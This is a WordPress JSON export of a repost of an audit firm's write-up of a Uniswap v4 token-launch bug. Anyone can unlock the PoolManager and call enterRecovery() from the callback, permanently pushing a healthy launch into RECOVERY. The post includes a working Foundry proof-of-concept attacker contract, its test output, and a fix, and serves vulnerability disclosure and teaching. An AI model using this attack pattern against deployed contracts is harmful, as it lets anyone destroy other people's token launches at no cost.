
{"id":242205,"date":"2026-10-21T14:38:37","date_gmt":"2026-10-21T14:38:37","guid":{"rendered":"https:\/\/mycryptomania.com\/?p=242205"},"modified":"2026-10-21T14:38:37","modified_gmt":"2026-10-21T14:38:37","slug":"quill-findings-forcing-recovery-through-uniswap-unlock","status":"publish","type":"post","link":"https:\/\/mycryptomania.com\/?p=242205","title":{"rendered":"Quill Findings: Forcing Recovery Through Uniswap Unlock"},"content":{"rendered":"<p>This is the fourth blog in our series Quill Findings, where we share interesting vulnerabilities our auditors\u00a0found.<\/p>\n<p>Today\u2019s finding comes from a token launch protocol built on Uniswap v4 (). Tokens start on a bonding curve and later migrate into a Uniswap v4 pool. If that migration genuinely can\u2019t go through, the launch drops into a RECOVERY state, which is terminal, there\u2019s no way back out. We found a way for anyone to push a perfectly healthy launch into that state, for\u00a0free.<\/p>\n<h3>How recovery is\u00a0decided<\/h3>\n<p>When a migration looks stuck, anyone can call enterRecovery(). To decide whether migration is actually broken, the curve just tries it and treats any revert as proof of\u00a0failure.<\/p>\n<p>\/\/ BondingCurve.sol<br \/>function enterRecovery() external {<br \/>    try migrationModule.migrate() {<br \/>        \/\/ migration worked, nothing to recover from<br \/>    } catch {<br \/>        \/\/ any revert at all -&gt; declare migration dead<br \/>        state = State.RECOVERY;<br \/>    }<br \/>}<\/p>\n<p>The catch block doesn&#8217;t look at why the call reverted. That&#8217;s the\u00a0gap.<\/p>\n<h3>The guard an attacker can\u00a0trigger<\/h3>\n<p>The migration module refuses to run while Uniswap\u2019s PoolManager is unlocked. On its own, this guard is correct, migrating mid-unlock would be\u00a0unsafe.<\/p>\n<p>\/\/ V4MigrationModule.sol<br \/>bytes32 constant IS_UNLOCKED_SLOT =<br \/>    0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<\/p>\n<p>function migrate() external view {<br \/>    \/\/ reads the PoolManager&#8217;s lock flag through its public exttload()<br \/>    if (poolManager.exttload(IS_UNLOCKED_SLOT) != 0) revert PoolManagerUnlocked();<br \/>    \/\/ &#8230; real migration work &#8230;<br \/>}<\/p>\n<p>The catch is that anyone can put the PoolManager into that unlocked state. In v4-core, unlock(bytes) is external and permissionless. It unlocks the manager, hands control back to the caller through unlockCallback, and only checks at the very end that all token balances settled to\u00a0zero.<\/p>\n<p>\/\/ Uniswap v4-core, PoolManager.sol<br \/>function unlock(bytes calldata data) external returns (bytes memory result) {<br \/>    Lock.unlock();<br \/>    result = IUnlockCallback(msg.sender).unlockCallback(data);<br \/>    if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();<br \/>    Lock.lock();<br \/>}<\/p>\n<p>If the attacker settles nothing inside unlockCallback, NonzeroDeltaCount stays at zero, so the outer unlock() finishes cleanly. No tokens, no special access\u00a0needed.<\/p>\n<h3>The attack<\/h3>\n<p>From inside their own callback, the PoolManager is unlocked, so the attacker just calls enterRecovery().<\/p>\n<p>function unlockCallback(bytes calldata) external returns (bytes memory) {<br \/>    \/\/ PoolManager is unlocked right now, so migrate() will revert<br \/>    curve.enterRecovery();   \/\/ migrate() reverts with PoolManagerUnlocked()<br \/>    return &#8220;&#8221;;               \/\/ settle nothing, outer unlock() still succeeds<br \/>}<\/p>\n<p>migrate() reverts with PoolManagerUnlocked(), the catch block treats it as a real failure, and a healthy launch is moved to terminal RECOVERY.<\/p>\n<p>The root cause isn\u2019t the PoolManager rejecting migration while unlocked, that behaviour is correct. It\u2019s that enterRecovery() lets an attacker trigger that revert on purpose and then counts it as a genuine\u00a0failure.<\/p>\n<h3>Proof of\u00a0concept<\/h3>\n<p>This runs against the real Uniswap v4 PoolManager, so the unlock behaviour is exactly the production one.<\/p>\n<p>src\/Recovery.sol holds the launch contracts, the vulnerable BondingCurve plus V4MigrationModule, and their fixed versions:<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity 0.8.26;<\/p>\n<p>import {IPoolManager} from &#8220;v4-core\/src\/interfaces\/IPoolManager.sol&#8221;;<\/p>\n<p>\/\/\/ @notice Minimal reproduction of the migration module. Not the audited<br \/>\/\/\/ source. It refuses to migrate while Uniswap&#8217;s PoolManager is unlocked.<br \/>contract V4MigrationModule {<br \/>    IPoolManager public immutable poolManager;<\/p>\n<p>    \/\/ Same slot as Lock.IS_UNLOCKED_SLOT in v4-core.<br \/>    bytes32 constant IS_UNLOCKED_SLOT =<br \/>        0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<\/p>\n<p>    error PoolManagerUnlocked();<\/p>\n<p>    constructor(IPoolManager _pm) {<br \/>        poolManager = _pm;<br \/>    }<\/p>\n<p>    function _isUnlocked() internal view returns (bool) {<br \/>        return poolManager.exttload(IS_UNLOCKED_SLOT) != 0;<br \/>    }<\/p>\n<p>    \/\/\/ @notice Correct in isolation: migration must not run mid-unlock.<br \/>    function migrate() external view {<br \/>        if (_isUnlocked()) revert PoolManagerUnlocked();<br \/>        \/\/ &#8230; real migration work would go here &#8230;<br \/>    }<br \/>}<\/p>\n<p>\/\/\/ @notice Minimal reproduction of the bonding curve&#8217;s recovery path.<br \/>contract BondingCurve {<br \/>    enum State { ACTIVE, RECOVERY }<\/p>\n<p>    State public state;<br \/>    V4MigrationModule public immutable migrationModule;<\/p>\n<p>    constructor(V4MigrationModule _m) {<br \/>        migrationModule = _m;<br \/>    }<\/p>\n<p>    \/\/\/ @notice Vulnerable: treats ANY revert from migrate() as a real failure.<br \/>    function enterRecovery() external {<br \/>        try migrationModule.migrate() {<br \/>            \/\/ migration worked, nothing to recover from<br \/>        } catch {<br \/>            state = State.RECOVERY;<br \/>        }<br \/>    }<br \/>}<\/p>\n<p>\/\/\/ @notice Fixed bonding curve: checks migration is actually attemptable first.<br \/>contract BondingCurveFixed {<br \/>    enum State { ACTIVE, RECOVERY }<\/p>\n<p>    State public state;<br \/>    V4MigrationModuleFixed public immutable migrationModule;<\/p>\n<p>    constructor(V4MigrationModuleFixed _m) {<br \/>        migrationModule = _m;<br \/>    }<\/p>\n<p>    function enterRecovery() external {<br \/>        require(migrationModule.isMigratable(), &#8220;migration not attemptable&#8221;);<br \/>        try migrationModule.migrate() {<br \/>        } catch {<br \/>            state = State.RECOVERY;<br \/>        }<br \/>    }<br \/>}<\/p>\n<p>\/\/\/ @notice Fixed module: exposes a view reporting whether migration can run.<br \/>contract V4MigrationModuleFixed {<br \/>    IPoolManager public immutable poolManager;<\/p>\n<p>    bytes32 constant IS_UNLOCKED_SLOT =<br \/>        0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;<\/p>\n<p>    error PoolManagerUnlocked();<\/p>\n<p>    constructor(IPoolManager _pm) {<br \/>        poolManager = _pm;<br \/>    }<\/p>\n<p>    function isMigratable() public view returns (bool) {<br \/>        return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;<br \/>    }<\/p>\n<p>    function migrate() external view {<br \/>        if (!isMigratable()) revert PoolManagerUnlocked();<br \/>    }<br \/>}<\/p>\n<p>test\/ForcedRecovery.t.sol:<\/p>\n<p>\/\/ SPDX-License-Identifier: MIT<br \/>pragma solidity 0.8.26;<\/p>\n<p>import {Test, console2} from &#8220;forge-std\/Test.sol&#8221;;<br \/>import {PoolManager} from &#8220;v4-core\/src\/PoolManager.sol&#8221;;<br \/>import {IPoolManager} from &#8220;v4-core\/src\/interfaces\/IPoolManager.sol&#8221;;<br \/>import {IUnlockCallback} from &#8220;v4-core\/src\/interfaces\/callback\/IUnlockCallback.sol&#8221;;<br \/>import {<br \/>    BondingCurve, BondingCurveFixed,<br \/>    V4MigrationModule, V4MigrationModuleFixed<br \/>} from &#8220;..\/src\/Recovery.sol&#8221;;<\/p>\n<p>\/\/\/ @notice The attacker&#8217;s unlockCallback calls enterRecovery() while the<br \/>\/\/\/ PoolManager is unlocked, then settles nothing so unlock() still succeeds.<br \/>contract Attacker is IUnlockCallback {<br \/>    PoolManager pm;<br \/>    address curve;<\/p>\n<p>    constructor(PoolManager _pm, address _curve) {<br \/>        pm = _pm;<br \/>        curve = _curve;<br \/>    }<\/p>\n<p>    function attack() external {<br \/>        pm.unlock(&#8220;&#8221;);<br \/>    }<\/p>\n<p>    function unlockCallback(bytes calldata) external returns (bytes memory) {<br \/>        \/\/ PoolManager is unlocked right now, so migrate() will revert.<br \/>        (bool ok,) = curve.call(abi.encodeWithSignature(&#8220;enterRecovery()&#8221;));<br \/>        ok; \/\/ call itself succeeds, the inner revert is swallowed by try\/catch<br \/>        return &#8220;&#8221;; \/\/ settle nothing -&gt; NonzeroDeltaCount stays 0 -&gt; unlock() ok<br \/>    }<br \/>}<\/p>\n<p>contract ForcedRecoveryTest is Test {<br \/>    PoolManager pm;<\/p>\n<p>    function setUp() public {<br \/>        pm = new PoolManager(address(this));<br \/>    }<\/p>\n<p>    function test_AttackerForcesHealthyLaunchIntoRecovery() public {<br \/>        V4MigrationModule module = new V4MigrationModule(IPoolManager(address(pm)));<br \/>        BondingCurve curve = new BondingCurve(module);<\/p>\n<p>        \/\/ migration is perfectly healthy: with the manager locked, it does not revert<br \/>        module.migrate();<br \/>        console2.log(&#8220;migration healthy while locked : true&#8221;);<br \/>        assertEq(uint256(curve.state()), uint256(BondingCurve.State.ACTIVE));<\/p>\n<p>        \/\/ attacker unlocks the manager and calls enterRecovery() from the callback<br \/>        Attacker attacker = new Attacker(pm, address(curve));<br \/>        attacker.attack();<\/p>\n<p>        console2.log(&#8220;state after attack (0=ACTIVE,1=RECOVERY):&#8221;, uint256(curve.state()));<br \/>        assertEq(uint256(curve.state()), uint256(BondingCurve.State.RECOVERY), &#8220;launch forced into RECOVERY&#8221;);<br \/>    }<\/p>\n<p>    function test_FixedCurveResistsTheAttack() public {<br \/>        V4MigrationModuleFixed module = new V4MigrationModuleFixed(IPoolManager(address(pm)));<br \/>        BondingCurveFixed curve = new BondingCurveFixed(module);<\/p>\n<p>        Attacker attacker = new Attacker(pm, address(curve));<\/p>\n<p>        \/\/ same attack as before: unlock, then call enterRecovery() from the callback<br \/>        attacker.attack();<\/p>\n<p>        \/\/ the isMigratable() guard rejects the call, so state never flips<br \/>        console2.log(&#8220;state after attack (0=ACTIVE,1=RECOVERY):&#8221;, uint256(curve.state()));<br \/>        assertEq(uint256(curve.state()), uint256(BondingCurveFixed.State.ACTIVE), &#8220;launch stays ACTIVE&#8221;);<br \/>    }<br \/>}<\/p>\n<p>Run it:<\/p>\n<p>forge test &#8211;match-contract ForcedRecoveryTest -vv<\/p>\n<p>Output:<\/p>\n<p>Ran 2 tests for test\/ForcedRecovery.t.sol:ForcedRecoveryTest<br \/>[PASS] test_AttackerForcesHealthyLaunchIntoRecovery() (gas: 551888)<br \/>Logs:<br \/>  migration healthy while locked : true<br \/>  state after attack (0=ACTIVE,1=RECOVERY): 1<\/p>\n<p>[PASS] test_FixedCurveResistsTheAttack() (gas: 512694)<br \/>Logs:<br \/>  state after attack (0=ACTIVE,1=RECOVERY): 0<\/p>\n<p>Suite result: ok. 2 passed; 0 failed; 0 skipped<\/p>\n<p>The first test shows migration is healthy while the manager is locked, then the attacker unlocks the manager, calls enterRecovery() from the callback, and the state flips to RECOVERY (1). The second test runs the same attack on the fixed curve and the state stays ACTIVE\u00a0(0).<\/p>\n<h3>The fix<\/h3>\n<p>Before trying the migration, check whether it can actually run right now. If it can\u2019t, stop instead of entering recovery. This check lives in the protocol\u2019s own migration module, nothing changes on Uniswap\u2019s side.<\/p>\n<p>\/\/ V4MigrationModule.sol<br \/>function isMigratable() public view returns (bool) {<br \/>    \/\/ same lock flag migrate() already checks<br \/>    return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;<br \/>}<\/p>\n<p>\/\/ BondingCurve.sol<br \/>function enterRecovery() external {<br \/>    \/\/ stop early if migration can&#8217;t run right now<br \/>    require(migrationModule.isMigratable(), &#8220;migration not attemptable&#8221;);<\/p>\n<p>    try migrationModule.migrate() {<br \/>        \/\/ migration worked, nothing to recover from<br \/>    } catch {<br \/>        \/\/ only reached when migration really fails<br \/>        state = State.RECOVERY;<br \/>    }<br \/>}<\/p>\n<p>isMigratable() reads the same lock flag migrate() already checks, so the attacker&#8217;s call now stops at the first line, and recovery only happens when migration fails under normal conditions.<\/p>\n<p>Ignoring only the PoolManagerUnlocked() error would also work today, but any similar &#8220;temporarily unavailable&#8221; error added to the migration path later would reopen the same hole. Checking up front avoids\u00a0that.<\/p>\n<h3>Conclusion<\/h3>\n<p>When a failure leads to a permanent, irreversible state change, the contract shouldn\u2019t just ask whether something failed, it should ask why. Here, a single revert anyone could trigger was enough to permanently kill a healthy\u00a0launch.<\/p>\n<p><em>Originally published at <\/em><a href=\"https:\/\/www.quillaudits.com\/blog\/auditing\/uniswap-unlock-force-recovery\"><em>https:\/\/www.quillaudits.com<\/em><\/a><em>.<\/em><\/p>\n<p><a href=\"https:\/\/medium.com\/coinmonks\/quill-findings-forcing-recovery-through-uniswap-unlock-5a9d967d7446\">Quill Findings: Forcing Recovery Through Uniswap Unlock<\/a> was originally published in <a href=\"https:\/\/medium.com\/coinmonks\">Coinmonks<\/a> on Medium, where people are continuing the conversation by highlighting and responding to this story.<\/p>","protected":false},"excerpt":{"rendered":"<p>This is the fourth blog in our series Quill Findings, where we share interesting vulnerabilities our auditors\u00a0found. Today\u2019s finding comes from a token launch protocol built on Uniswap v4 (). Tokens start on a bonding curve and later migrate into a Uniswap v4 pool. If that migration genuinely can\u2019t go through, the launch drops into [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":242206,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-242205","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-interesting"],"_links":{"self":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts\/242205"}],"collection":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=242205"}],"version-history":[{"count":0,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/posts\/242205\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=\/wp\/v2\/media\/242206"}],"wp:attachment":[{"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=242205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=242205"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mycryptomania.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=242205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}